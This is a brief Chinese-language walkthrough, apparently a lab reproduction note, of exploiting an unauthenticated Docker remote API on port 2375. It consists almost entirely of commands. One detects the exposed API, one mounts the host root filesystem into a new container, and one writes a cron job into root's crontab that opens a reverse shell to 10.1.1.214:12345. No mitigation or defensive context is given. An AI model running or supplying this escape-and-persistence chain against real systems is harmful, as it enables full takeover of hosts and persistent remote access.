Docker 远程 API 未授权访问逃逸


docker remote api 可以执行 docker 命令,docker 守护进程监听在 0.0.0.0,可直接调用 API 来操作 docker

# 搭建

将 docker 守护进程监听在 0.0.0.0

dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
1

# 检测

IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && wget http://$IP:2375
1

如果返回 404 说明存在

# 复现

列出容器信息

curl http://<target>:2375/containers/json
1

查看容器

docker -H tcp://<target>:2375 ps -a
1

新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下。

docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash
1

在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root

echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root
1

本地监听端口,获取对方宿主机shell。